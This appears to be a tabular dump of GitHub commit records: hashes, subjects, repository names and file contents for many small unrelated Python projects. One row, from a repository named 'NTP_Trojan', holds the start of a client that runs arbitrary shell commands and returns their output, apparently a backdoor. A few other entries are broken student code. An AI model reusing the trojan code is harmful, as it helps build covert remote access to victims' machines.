commit stringlengths 40 40 | subject stringlengths 4 1.73k | repos stringlengths 5 127k | old_file stringlengths 2 751 | new_file stringlengths 2 751 | new_contents stringlengths 1 8.98k | old_contents stringlengths 0 6.59k | license stringclasses 13
values | lang stringclasses 23
values |
|---|---|---|---|---|---|---|---|---|
711de8a04598fb531b5f70f334633b713dfa76c7 | Create TypeIt.py | DanielPinigin/Final-Project | TypeIt.py | TypeIt.py | print("Hello Daniel")
| mit | Python | |
94151b40c3b862c5ddf57c11228f6c99a8c38a7e | Define manage.py to launch app and app-related tasks | McGillX/edx_data_research,McGillX/edx_data_research,McGillX/edx_data_research | edx_data_research/web_app/manage.py | edx_data_research/web_app/manage.py | #!/usr/bin/python
from flask.ext.script import Manager, Server, Shell
from edx_data_research.web_app import app
from edx_data_research.web_app.models import User, Role
manager = Manager(app)
manager.add_command('run-server', Server(use_debugger=True, use_reloader=True,
host='... | mit | Python | |
ec919af7fba21e98e73e6c435dda4f10e90b82ba | Create Vector.py | Berkmann18/Asteroid | Vector.py | Vector.py | # The Vector class
class Vector:
# Initialiser
def __init__(self, p=(0,0)):
self.x = p[0]
self.y = p[1]
# Returns a string representation of the vector
def __str__(self):
return "("+ str(self.x) + "," + str(self.y) + ")"
# Tests the equality of this vector and another
... | mit | Python | |
cab2ad2d82951ad988c1c2da146b4d62b6d90ec6 | Add track evalution code. | myfavouritekk/TPN | src/tpn/evaluate.py | src/tpn/evaluate.py | #!/usr/bin/env python
import argparse
import os
import os.path as osp
import glob
from data_io import tpn_test_iterator
from vdetlib.utils.protocol import proto_load
import numpy as np
import sys
sys.path.insert(0, '/Volumes/Research/ImageNet2016/Code/external/kwang/py-faster-rcnn-craft/lib')
from fast_rcnn.nms_wrappe... | mit | Python | |
a70abcdd95612fe3df4fc3dd9c4ae8151add5a28 | add an example file | vlas-sokolov/pyscatter-3d | example.py | example.py | import numpy as np
from pyscatter3d import pyscatter3d
X0,Y0 = np.meshgrid(np.linspace(-3,3,50), np.linspace(-3,3,50))
D = np.sqrt(X0**2+Y0**2) # radial distance
Z0 = np.sinc(D)
_ = np.random.randn(3, 1e3)
X1,Y1,Z1 = _/np.linalg.norm(_, axis=0)
np.savetxt('sinc.csv', np.array([arr.flatten() for arr in [X0,Y0,Z0,1/D]... | mit | Python | |
28e6c21e2a8bc78a6f4292eef2daec4b70d0b887 | Add support for Pocket | foauth/foauth.org,foauth/foauth.org,foauth/foauth.org | services/pocket.py | services/pocket.py | from werkzeug.urls import url_decode
import requests
import foauth.providers
class Pocket(foauth.providers.OAuth2):
# General info about the provider
provider_url = 'http://getpocket.com/'
docs_url = 'http://getpocket.com/developer/docs/overview'
category = 'News'
# URLs to interact with the API
... | bsd-3-clause | Python | |
e42b22dc0a71fb5c7572ca69c63ab6a7b0ba8479 | add error handling for celery tasks | helfertool/helfertool,helfertool/helfertool,helfertool/helfertool,helfertool/helfertool | src/helfertool/tasks.py | src/helfertool/tasks.py | from __future__ import absolute_import
from celery.signals import task_failure
from django.conf import settings
from django.core.mail import mail_admins
from django.views.debug import ExceptionReporter
@task_failure.connect
def celery_error_handler(task_id, exception, traceback, einfo, *args, **kwargs):
if sett... | agpl-3.0 | Python | |
73f75483156056b61f3b6bec4fe2f09522c2c34a | Add tests for mixin order | AleksNeStu/ggrc-core,j0gurt/ggrc-core,j0gurt/ggrc-core,edofic/ggrc-core,NejcZupec/ggrc-core,plamut/ggrc-core,plamut/ggrc-core,j0gurt/ggrc-core,VinnieJohns/ggrc-core,AleksNeStu/ggrc-core,plamut/ggrc-core,edofic/ggrc-core,andrei-karalionak/ggrc-core,andrei-karalionak/ggrc-core,VinnieJohns/ggrc-core,josthkko/ggrc-core,sel... | test/integration/ggrc/models/test_eager_query.py | test/integration/ggrc/models/test_eager_query.py | # Copyright (C) 2016 Google Inc., authors, and contributors <see AUTHORS file>
# Licensed under http://www.apache.org/licenses/LICENSE-2.0 <see LICENSE file>
# Created By: miha@reciprocitylabs.com
# Maintained By: miha@reciprocitylabs.com
"""Tests for making sure eager queries are working on all mixins."""
from ggrc.... | apache-2.0 | Python | |
6ed99163b10209566a0575a9a67d1ab2ad552fd9 | Add test for committee subscriptions page | Code4SA/pmg-cms-2,Code4SA/pmg-cms-2,Code4SA/pmg-cms-2 | tests/views/test_committee_subscriptions_page.py | tests/views/test_committee_subscriptions_page.py | import datetime
from tests import PMGLiveServerTestCase
from tests.fixtures import dbfixture, HouseData, CommitteeData
THIS_YEAR = datetime.datetime.today().year
class TestCommitteeSubscriptionsPage(PMGLiveServerTestCase):
def test_committee_subscriptions_page(self):
"""
Test committee subscripti... | apache-2.0 | Python | |
5e9b6bc60f0f81db3ed451eb89c23b77888e1167 | Update a comment | grzes/djangae,kirberich/djangae,kirberich/djangae,asendecka/djangae,asendecka/djangae,potatolondon/djangae,chargrizzle/djangae,asendecka/djangae,armirusco/djangae,chargrizzle/djangae,armirusco/djangae,chargrizzle/djangae,grzes/djangae,armirusco/djangae,grzes/djangae,potatolondon/djangae,kirberich/djangae | djangae/db/backends/appengine/expressions.py | djangae/db/backends/appengine/expressions.py | from django.db.models.expressions import F
from djangae.db.utils import get_prepared_db_value
CONNECTORS = {
F.ADD: lambda l, r: l + r,
F.SUB: lambda l, r: l - r,
F.MUL: lambda l, r: l * r,
F.DIV: lambda l, r: l / r,
}
def evaluate_expression(expression, instance, connection):
""" A limited eval... | from django.db.models.expressions import F
from djangae.db.utils import get_prepared_db_value
CONNECTORS = {
F.ADD: lambda l, r: l + r,
F.SUB: lambda l, r: l - r,
F.MUL: lambda l, r: l * r,
F.DIV: lambda l, r: l / r,
}
def evaluate_expression(expression, instance, connection):
""" A limited eval... | bsd-3-clause | Python |
37e59cbd7e8b4901644adcb73a7f491247fdea69 | Add py-pyperclip package (#12375) | LLNL/spack,LLNL/spack,LLNL/spack,iulian787/spack,iulian787/spack,iulian787/spack,LLNL/spack,iulian787/spack,iulian787/spack,LLNL/spack | var/spack/repos/builtin/packages/py-pyperclip/package.py | var/spack/repos/builtin/packages/py-pyperclip/package.py | # Copyright 2013-2019 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
class PyPyperclip(PythonPackage):
"""A cross-platform clipboard module for Python."""
homep... | lgpl-2.1 | Python | |
a773f428512ecc9bc4f81b633aaf3dfa8faa10ed | Create client.py | filip-marinic/LGS_SimSuite | client.py | client.py | #!/usr/bin/env python
#LGS SimSuite Client
#Copyright (c) 2015 Filip Marinic
from time import gmtime, strftime, time, sleep
import socket
import math
import sys
import paramiko
#server parameters
server_username = "Pi"
server_password = "********"
server_path = "python /home/pi/server.py" #if server script is compile... | mit | Python | |
6427c55bbd51abaef6847e4f2af239d5977d0048 | Create client.py | Laserbear/PypeBomb | client.py | client.py | import socket
target_host = "0.0.0.0"
target_port = 9999
if(len(sys.argv) > 1):
try:
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
except Exception:
pass #lazy
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target_host, target_port))
'''
... | mit | Python | |
04d6765c14de3d6d5eb36d9ad268012f9e7625bc | add test for search items #30 | rosariomgomez/tradyfit,rosariomgomez/tradyfit,rosariomgomez/tradyfit,rosariomgomez/tradyfit,rosariomgomez/tradyfit | vagrant/tradyfit/tests/functional/test_search.py | vagrant/tradyfit/tests/functional/test_search.py | # -*- coding: utf-8 -*-
import re
from bs4 import BeautifulSoup
from helper import SeleniumTestCase
import page
class SearchTestCase(SeleniumTestCase):
@classmethod
def setUpClass(cls):
# connect to webdriver, create app, launch server in thread
super(SearchTestCase, cls).setUpClass()
@classmethod
d... | mit | Python | |
ad3744acef6d855fcc074c7412c3e224d5a8f205 | add missing file | telamonian/saga-python,luis-rr/saga-python,mehdisadeghi/saga-python,telamonian/saga-python,luis-rr/saga-python,mehdisadeghi/saga-python,luis-rr/saga-python | saga/utils/pty_exceptions.py | saga/utils/pty_exceptions.py |
import saga.exceptions as se
# ----------------------------------------------------------------
#
def translate_exception (e, msg=None) :
"""
In many cases, we should be able to roughly infer the exception cause
from the error message -- this is centrally done in this method. If
possible, it will re... | mit | Python | |
df7a5c4aa4f5898de3c70cef17c3c5031f7e05a6 | Add support for executing scrapy using -m option of python | finfish/scrapy,pawelmhm/scrapy,dangra/scrapy,Ryezhang/scrapy,kmike/scrapy,ArturGaspar/scrapy,elacuesta/scrapy,pablohoffman/scrapy,finfish/scrapy,Parlin-Galanodel/scrapy,wujuguang/scrapy,eLRuLL/scrapy,ArturGaspar/scrapy,elacuesta/scrapy,umrashrf/scrapy,finfish/scrapy,starrify/scrapy,dangra/scrapy,scrapy/scrapy,wujuguang... | scrapy/__main__.py | scrapy/__main__.py | from scrapy.cmdline import execute
if __name__ == '__main__':
execute()
| bsd-3-clause | Python | |
d94123ba898032e7837aa8a2fd0fe585ed81e2d5 | Add back a filesystem backend for testing and development | ostwald/scrapi,CenterForOpenScience/scrapi,felliott/scrapi,fabianvf/scrapi,icereval/scrapi,erinspace/scrapi,felliott/scrapi,mehanig/scrapi,CenterForOpenScience/scrapi,mehanig/scrapi,fabianvf/scrapi,alexgarciac/scrapi,jeffreyliu3230/scrapi,erinspace/scrapi | scrapi/processing/storage.py | scrapi/processing/storage.py | import os
import json
from scrapi.processing.base import BaseProcessor
class StorageProcessor(BaseProcessor):
NAME = 'storage'
def process_raw(self, raw):
filename = 'archive/{}/{}/raw.{}'.format(raw['source'], raw['docID'], raw['filetype'])
if not os.path.exists(os.path.dirname(filename)):
... | apache-2.0 | Python | |
e6699947ebde4d51b1bd8b6016879d4917d7a648 | implement initial base exception class and httperror exception class | gdmachado/scup-python | scup/exceptions.py | scup/exceptions.py | class ScupPythonError(Exception):
""" Base class for exceptions raised by scup-python. """
class ScupError(ScupPythonError):
""" Exception for Scup errors. """
def __init__(self, message=None, code=None, error_data=None):
self.message = message
self.code = code
self.error_data = error_data
if self.code:
... | mit | Python | |
ded34849d9eb2feb51b9ad7f31e210db3a28c7e1 | change case | alephdata/aleph,smmbllsm/aleph,OpenGazettes/aleph,smmbllsm/aleph,OpenGazettes/aleph,gazeti/aleph,gazeti/aleph,alephdata/aleph,pudo/aleph,OpenGazettes/aleph,pudo/aleph,alephdata/aleph,alephdata/aleph,gazeti/aleph,pudo/aleph,gazeti/aleph,OpenGazettes/aleph,smmbllsm/aleph,alephdata/aleph | aleph/assets.py | aleph/assets.py | import os
from flask.ext.assets import Bundle
from aleph.core import assets, app
deps_assets = Bundle(
'vendor/jquery/dist/jquery.js',
'vendor/angular/angular.js',
'vendor/ng-debounce/angular-debounce.js',
'vendor/angular-route/angular-route.js',
'vendor/angular-animate/angular-animate.js',
'v... | import os
from flask.ext.assets import Bundle
from aleph.core import assets, app
deps_assets = Bundle(
'vendor/jquery/dist/jquery.js',
'vendor/angular/angular.js',
'vendor/ng-debounce/angular-debounce.js',
'vendor/angular-route/angular-route.js',
'vendor/angular-animate/angular-animate.js',
'v... | mit | Python |
b2d60408688cc1bf27842d8744d1048a64b00e94 | Add script to get public registrations for staff members | KAsante95/osf.io,jolene-esposito/osf.io,HarryRybacki/osf.io,jinluyuan/osf.io,leb2dg/osf.io,HalcyonChimera/osf.io,brianjgeiger/osf.io,amyshi188/osf.io,caseyrygt/osf.io,haoyuchen1992/osf.io,jinluyuan/osf.io,laurenrevere/osf.io,SSJohns/osf.io,lyndsysimon/osf.io,HalcyonChimera/osf.io,amyshi188/osf.io,cslzchen/osf.io,zamatt... | scripts/staff_public_regs.py | scripts/staff_public_regs.py | # -*- coding: utf-8 -*-
"""Get public registrations for staff members.
python -m scripts.staff_public_regs
"""
from collections import defaultdict
import logging
from modularodm import Q
from website.models import Node, User
from website.app import init_app
logger = logging.getLogger('staff_public_regs')
STAFF... | apache-2.0 | Python | |
b77f90c4372161243fcabb3eddbe4d35b4792bfc | Create jupyter_notebook_config.py | alexisylchan/introdl,alexisylchan/introdl | jupyter_notebook_config.py | jupyter_notebook_config.py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | mit | Python | |
d4a8c33d50a7c130d6203ef6332a241392516ba2 | Create database.py | raj61/automailer | database.py | database.py | #!/usr/bin/python
import MySQLdb
def getemail():
alist=[]
# Open database connection Replace username, password with your username password and dbname with the name of database
db = MySQLdb.connect("localhost","username","password","dbname" )
# prepare a cursor object using cursor() method
cursor =... | mit | Python | |
5eb474a5ff3110ef2b6955bd98bbe6bf16f7b0ab | add RNN policy with batch version (not working yet) | LxMLS/lxmls-toolkit,LxMLS/lxmls-toolkit,LxMLS/lxmls-toolkit | labs/notebooks/reinforcement_learning/RL.py | labs/notebooks/reinforcement_learning/RL.py | from IPython import embed
# Load Part-of-Speech data
from lxmls.readers.pos_corpus import PostagCorpusData
data = PostagCorpusData()
print(data.input_size)
print(data.output_size)
print(data.maxL)
# Alterbative native CuDNN native implementation of RNNs
from lxmls.deep_learning.pytorch_models.rnn import PolicyRNN
m... | mit | Python | |
cb73106d4a47a21f82021794234672600cceb2c6 | Add fix_genre_counts | george08/netflix-o-matic | populate_database/fix_genre_counts.py | populate_database/fix_genre_counts.py | #!/usr/bin/python
# we've been outputting stuff to text so now I get to wedge it into a database
# funtimes
# set up the database with `sqlite3 netflix_genres.sqlite < create_tables.sql`
import codecs
import sqlite3
import sys
conn = sqlite3.connect('netflix.sqlite')
c = conn.cursor()
c.execute('SELECT genre_id, n... | unlicense | Python | |
d74f0d174f509b0a65e5643356af8eff1f5a4ca8 | Add a snippet. | jeremiedecock/snippets,jeremiedecock/snippets,jeremiedecock/snippets,jeremiedecock/snippets,jeremiedecock/snippets,jeremiedecock/snippets,jeremiedecock/snippets,jeremiedecock/snippets,jeremiedecock/snippets,jeremiedecock/snippets,jeremiedecock/snippets,jeremiedecock/snippets,jeremiedecock/snippets | python/scipy/write_stereo_wav_file.py | python/scipy/write_stereo_wav_file.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Read the content of an audio wave file (.wav)
# See: http://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.io.wavfile.write.html
import numpy as np
from scipy.io import wavfile
def sin_wave(freq1, freq2, num_frames, rate):
data_list_1 = [int(127 * (np.s... | mit | Python | |
181832a67d3fa3a4993d495dc9db12fdae7329f7 | add context processor tests | kezabelle/clastic,kezabelle/clastic | clastic/tests/test_context_proc.py | clastic/tests/test_context_proc.py | from __future__ import unicode_literals
from nose.tools import eq_, raises
import json
from werkzeug.test import Client
from werkzeug.wrappers import BaseResponse
from clastic import Application, json_response
from clastic.middleware import SimpleContextProcessor, ContextProcessor
from common import hello_world, hel... | bsd-3-clause | Python | |
f9bdf777a13404ba25e0e8cdf99a3554320529c9 | Add warnings to inspector DOM count unittest baselines. | jaruba/chromium.src,Chilledheart/chromium,dednal/chromium.src,dednal/chromium.src,bright-sparks/chromium-spacewalk,fujunwei/chromium-crosswalk,jaruba/chromium.src,TheTypoMaster/chromium-crosswalk,chuan9/chromium-crosswalk,Pluto-tv/chromium-crosswalk,Fireblend/chromium-crosswalk,TheTypoMaster/chromium-crosswalk,dushu120... | tools/telemetry/telemetry/core/backends/chrome/inspector_memory_unittest.py | tools/telemetry/telemetry/core/backends/chrome/inspector_memory_unittest.py | # Copyright 2013 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
from telemetry import benchmark
from telemetry.unittest import tab_test_case
class InspectorMemoryTest(tab_test_case.TabTestCase):
@benchmark.Enabled('h... | # Copyright 2013 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
from telemetry import benchmark
from telemetry.unittest import tab_test_case
class InspectorMemoryTest(tab_test_case.TabTestCase):
@benchmark.Enabled('h... | bsd-3-clause | Python |
3119222d27bd63b9f4e9a57ff8e9d88e53d9735a | Modify island.py | AiryShift/island | island.py | island.py | from noise import generate_noise
from PIL import Image
import numpy as np
WIDTH = 128
HEIGHT = 128
if __name__ == '__main__':
data = np.array(generate_noise(WIDTH, HEIGHT, triple=True), dtype=np.uint8)
img = Image.fromarray(data, 'RGB')
img.save('out.png')
| mit | Python | |
2d55503216d7020a71017fbcb2c1b48661c345cb | Add manage | gopla29/djangogirls,gopla29/djangogirls | manage.py | manage.py | #!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "mysite.settings")
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
| mit | Python | |
77738a8b7e895b5f71418d5417db04f34b08f918 | add manage.py | marteki/retirement,marteki/retirement,OrlandoSoto/retirement,OrlandoSoto/retirement,mistergone/retirement,OrlandoSoto/retirement,marteki/retirement,niqjohnson/retirement,marteki/retirement,niqjohnson/retirement,mistergone/retirement,mistergone/retirement,niqjohnson/retirement | manage.py | manage.py | #!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings")
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
| cc0-1.0 | Python | |
10ef7955b21e3f9d3f3ac9eb43995e7cf0e91201 | Add meta/import_all.py for testing | aevri/mel,aevri/mel | meta/import_all.py | meta/import_all.py | #! /usr/bin/env python
# encoding: utf-8
"""Imports all the modules under the specified path.
This can be useful as a basic static analysis test, assuming that the imports
do not have side-effects.
"""
from __future__ import print_function
import argparse
import importlib
import os
import sys
def main():
pars... | apache-2.0 | Python | |
efd125ef973a680b6413e820e1308070a79554b4 | Encrypt with vigenere cipher | vtemian/university_projects,vtemian/university_projects,vtemian/university_projects | practic_stage/hmw8/main.py | practic_stage/hmw8/main.py | import string
letters = string.ascii_uppercase
vigenere_table = {letter: {letters[j]: letters[(i + j) % 26]
for j, l in enumerate(letters)}
for i, letter in enumerate(letters)}
def encrypt(text, key):
encrypted = []
for index, letter in enumerate(text):
encrypted... | apache-2.0 | Python | |
5f63a5ebfe3210fe68df036eef27a51bf431f6a3 | Initialize transpositionFileCipher | JoseALermaIII/python-tutorials,JoseALermaIII/python-tutorials | books/CrackingCodesWithPython/Chapter10/transpositionFileCipher.py | books/CrackingCodesWithPython/Chapter10/transpositionFileCipher.py | # Transposition Cipher Encrypt/Decrypt File
# https://www.nostarch.com/crackingcodes/ (BSD Licensed)
import time, os, sys, transpositionEncrypt, transpositionDecrypt
def main():
inputFilename = 'frankenstein.txt'
# BE CAREFUL! If a file with the outputFilename name already exists,
# this program will over... | mit | Python | |
fc8a37b63ddc2455afbeeae0a6c2ac911c113337 | add new | momotarou-zamurai/kibidango | maya/python/animation/grapheditor/fit_key_tangent.py | maya/python/animation/grapheditor/fit_key_tangent.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Author : Masahiro Ohmomo
# DCC : Maya
# Version : 2013 - Latest
# Recommend: 2013
#
# Description.
# In this script, do the fitting.
# The target is keyframe's tangent.
# You should be selected keyframe's of least two index.
#
# Run command.
# import fit_key_t... | mit | Python | |
73fce6afc07496dcc79c2e2763523207c257185b | Update the docstring | NickShaffner/rhea,cfelton/rhea,NickShaffner/rhea,cfelton/rhea | rhea/vendor/device_clock_mgmt_prim.py | rhea/vendor/device_clock_mgmt_prim.py |
from __future__ import absolute_import
import myhdl
from myhdl import instance, delay, always_comb
from rhea.system import timespec
@myhdl.block
def _clock_generate(clock, enable, ticks):
assert len(ticks) == 2
totticks = sum(ticks)
@instance
def mdlclk():
clock.next = False
while ... |
from __future__ import absolute_import
import myhdl
from myhdl import instance, delay, always_comb
from rhea.system import timespec
@myhdl.block
def _clock_generate(clock, enable, ticks):
assert len(ticks) == 2
totticks = sum(ticks)
@instance
def mdlclk():
clock.next = False
while ... | mit | Python |
ce1a4f7f55e03429dd0baf219fda71debc7e2ba2 | add test to backup degraded | evernym/zeno,evernym/plenum | plenum/test/replica/test_replica_removing_with_backup_degraded.py | plenum/test/replica/test_replica_removing_with_backup_degraded.py | import pytest
from plenum.test.replica.helper import check_replica_removed
from stp_core.loop.eventually import eventually
from plenum.test.helper import waitForViewChange
from plenum.test.test_node import ensureElectionsDone
def test_replica_removing_with_backup_degraded(looper,
... | apache-2.0 | Python | |
46be255fd0cfaeb2352f2f49b4ec5996a804768d | Add unit test for base Handler. | 4degrees/sawmill,4degrees/mill | test/unit/handler/test_base.py | test/unit/handler/test_base.py | # :coding: utf-8
# :copyright: Copyright (c) 2013 Martin Pengelly-Phillips
# :license: See LICENSE.txt.
from mock import Mock
from bark.log import Log
from bark.handler.base import Handler
from bark.formatter.base import Formatter
class Concrete(Handler):
'''Concrete subclass of abstract base for testing.'''
... | apache-2.0 | Python | |
90e96e741bce834e3862a6ed84b22c6d45f64d3f | solve 11997 | arash16/prays,arash16/prays,arash16/prays,arash16/prays,arash16/prays,arash16/prays | UVA/vol-119/11997.py | UVA/vol-119/11997.py | from heapq import heapify, heappush, heappop
from sys import stdin, stdout
I = list(map(int, stdin.read().split()))
ii = 0
while ii < len(I):
N = I[ii]
sums = I[ii+1: ii+1 + N]
sums.sort()
for k in range(1, N):
X = I[ii+1 + k*N: ii+1 + k*N + N]
X.sort()
q = list(-(s + X[0]) for s in sums)
h... | mit | Python | |
40a83c5fc16facc0fa7e64752dd348c255f07754 | add C/C++ building tools named `Surtr` | ASMlover/study,ASMlover/study,ASMlover/study,ASMlover/study,ASMlover/study,ASMlover/study,ASMlover/study,ASMlover/study,ASMlover/study | cplusplus/chaos/tools/surtr/Surtr.py | cplusplus/chaos/tools/surtr/Surtr.py | #!/usr/bin/env python
# -*- coding: UTF-8 -*-
#
# Copyright (c) 2016 ASMlover. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistributions of source code must retain the above copyright... | bsd-2-clause | Python | |
ea9473959c1d6c505b8c25405c8c2674945d84e9 | add uts for backup_processor | mvendra/mvtools,mvendra/mvtools,mvendra/mvtools | tests/backup_processor_test.py | tests/backup_processor_test.py | #!/usr/bin/env python3
import sys
import os
import shutil
import unittest
import create_and_write_file
import mvtools_test_fixture
import backup_processor
class BackupProcessorTest(unittest.TestCase):
def setUp(self):
v, r = self.delegate_setUp()
if not v:
self.tearDown()
... | mit | Python | |
88c5a9e79a986e828a1da7a09b7cdaf3fddd68a4 | Add Elasticsearch Service Domain | remind101/stacker_blueprints,remind101/stacker_blueprints | stacker_blueprints/elasticsearch.py | stacker_blueprints/elasticsearch.py | """AWS Elasticsearch Service.
Blueprint to configure AWS Elasticsearch service.
Example::
- name: elasticsearch
class_path: stacker_blueprints.elasticsearch.Domain
variables:
Roles:
- ${empireMinion::IAMRole}
InternalZoneId: ${vpc::InternalZoneId}
InternalZoneName: $... | bsd-2-clause | Python | |
ed57bed46a54bfd531e32a3c69a1f5e465f80662 | add tests for parse_args | uber/tchannel-python,uber/tchannel-python,Willyham/tchannel-python,Willyham/tchannel-python | tests/test_tcurl.py | tests/test_tcurl.py | from __future__ import absolute_import
import pytest
from tchannel.tcurl import parse_args
@pytest.mark.parametrize('input,expected', [
( # basic case
'--host foo --profile',
[['foo/'], [None], [None], True]
),
( # multiple bodies, constant host/headers
'--host foo -d 1 2',
... | mit | Python | |
0a2c658d4d44a5c813b40d5040e101688eeac118 | Update os.py | Tendrl/node_agent,r0h4n/node-agent,Tendrl/node_agent,Tendrl/node-agent,r0h4n/node-agent,Tendrl/node-agent,r0h4n/node-agent,Tendrl/node-agent | tendrl/node_agent/persistence/os.py | tendrl/node_agent/persistence/os.py | from tendrl.common.etcdobj.etcdobj import EtcdObj
from tendrl.common.etcdobj import fields
class Os(EtcdObj):
"""A table of the Os, lazily updated
"""
__name__ = 'nodes/%s/Os/'
node_id = fields.StrField("node_id")
os = fields.StrField("os")
os_version = fields.StrField("os_version")
kern... | from tendrl.common.etcdobj.etcdobj import EtcdObj
from tendrl.common.etcdobj import fields
class Os(EtcdObj):
"""A table of the Os, lazily updated
"""
__name__ = 'nodes/%s/Os/'
node_uuid = fields.StrField("node_id")
os = fields.StrField("os")
os_version = fields.StrField("os_version")
ke... | lgpl-2.1 | Python |
dcc5065c7cc4cc167affcbf906eaf81e73fa6d3e | Add py solution for 645. Set Mismatch | ckclark/leetcode,ckclark/leetcode,ckclark/leetcode,ckclark/leetcode,ckclark/leetcode,ckclark/leetcode | py/set-mismatch.py | py/set-mismatch.py | class Solution(object):
def findErrorNums(self, nums):
"""
:type nums: List[int]
:rtype: List[int]
"""
for i, n in enumerate(nums, 1):
while i != n and nums[n - 1] != n:
nums[i - 1], nums[n - 1] = nums[n - 1], nums[i - 1]
n = nums[i... | apache-2.0 | Python | |
236a25a159ea523c0b7d3eb009f6bf7df523d37f | Add py file used to build win64 binaries | notcammy/PyInstaLive | pyinstalive_win.py | pyinstalive_win.py | from pyinstalive.__main__ import main
if __name__ == '__main__':
main() | mit | Python | |
c806eb658e9a7088662fe7d520e3c59be6883099 | Create pyspark_starter | searchs/bigdatabox,searchs/bigdatabox | pyspark_starter.py | pyspark_starter.py | from pyspark import SparkConf, SparkContext
conf = SparkConf().setMaster("local[2]").setAppName("RDD Example")
sc = SparkContext(conf=conf)
# different way of setting configurations
#conf.setMaster('some url')
#conf.set('spark.executor.memory', '2g')
#conf.set('spark.executor.cores', '4')
#conf.set('spark.cores.max'... | mit | Python | |
53cbc714d9e7d498443356c370e5e77d24118764 | add clear names_txt script | haoNoQ/wztools2100,haoNoQ/wztools2100,haoNoQ/wztools2100 | tmp_tools/cleanup_names.txt.py | tmp_tools/cleanup_names.txt.py | #!/usr/bin/python3
"""
Remove entries from names.txt that already present in ini files.
"""
import os
import re
from enviroment import BASE_PATH, MP_PATH
from ini_file import IniFile
name_reg = re.compile('^([\w-]+)[ \t]+(.*)')
def clean(module_path, module_name):
print("Cleaning %s(%s)" % (module_name, module_... | cc0-1.0 | Python | |
ea51e276d17169c0ec62d694b513cea4fea167a4 | Add file for dealing with search queries | amrishparmar/mal_cl_interface | search.py | search.py | import click
import requests
def anime_search():
pass
def manga_search():
pass
| mit | Python | |
8c25fb10724ad4824ee9d94c270d95f8d4bae691 | Add 3D hybridization demo with file-write | thomasgibson/tabula-rasa | experiments/hybridization_3D_extr.py | experiments/hybridization_3D_extr.py | from __future__ import absolute_import, print_function, division
from firedrake import *
def test_slate_hybridization_extr(degree, resolution, layers):
base = UnitSquareMesh(2 ** resolution, 2 ** resolution,
quadrilateral=False)
mesh = ExtrudedMesh(base, layers=layers, layer_height=... | mit | Python | |
f75bc25d3aed7bce65a8274fcf539db0eafc9900 | Add adversarial module | lucasdavid/artificial | artificial/searches/adversarial.py | artificial/searches/adversarial.py | import time
import numpy as np
from . import base
class MinMax(base.Search):
"""Min Max Adversarial Search.
Parameters
----------
time_limit : float (default=np.inf)
Time limit (in seconds) for a performance.
By default, search has infinite time to make a decision.
depth... | mit | Python | |
e37b855bf50afefafb190c6c2346c13cbc3f14b4 | Create quiz5.py | adrielvel/uip-prog3 | laboratorios/quiz5.py | laboratorios/quiz5.py | #quiz5
class Hola(object):
mensaje = "Hola mundo"
__contador = 0
def ingresar(self,texto):
texto = input("Ingrese mensaje")
self.texto = texto
def comparar(object):
if texto == mensaje:
return(+str"mensaje"+)
else:
return("Adios mundo")
def guardarTexto():
out_file = open(archivo, "wt")
ou... | mit | Python | |
1b4bf232b9fd348a94b8bc4e9c851ed5b6d8e801 | Add tests for config generation | matrix-org/synapse,matrix-org/synapse,matrix-org/synapse,matrix-org/synapse,matrix-org/synapse,matrix-org/synapse | tests/config/test_room_directory.py | tests/config/test_room_directory.py | # -*- coding: utf-8 -*-
# Copyright 2018 New Vector Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... | apache-2.0 | Python | |
b7b01cc092cd8ea62ac5f8cb64d4dfe1dafd877f | Create client.py | jrn102020/NTP_Trojan | client.py | client.py | import ntplib
import sys, os, subprocess
from time import ctime
HostIP = '127.0.0.1'
# Essential shell functionality
def run_command(cmd):
proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdoutput = proc.stdout.read() + proc.stderr.read()
retur... | mit | Python | |
db61502f493871a1355d0d23c50ada89b8696bff | Add white_balance tests module | danforthcenter/plantcv,danforthcenter/plantcv,danforthcenter/plantcv | tests/plantcv/test_white_balance.py | tests/plantcv/test_white_balance.py | import pytest
import cv2
from plantcv.plantcv import white_balance
def test_white_balance_gray_16bit(test_data):
# Read in test data
img = cv2.imread(test_data.fmax, -1)
# Test with mode "hist"
white_balanced = white_balance(img=img, mode='hist', roi=(5, 5, 80, 80))
assert img.shape == white_balan... | mit | Python | |
3f10c701d5b7c778a2f82a047ef3bb940d684fa7 | rename camelcase fields in slice | wathsalav/xos,wathsalav/xos,wathsalav/xos,wathsalav/xos | planetstack/core/migrations/0004_slice_field_case.py | planetstack/core/migrations/0004_slice_field_case.py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import timezones.fields
class Migration(migrations.Migration):
dependencies = [
('core', '0003_network_field_case'),
]
operations = [
migrations.RenameField(
model_name='... | apache-2.0 | Python | |
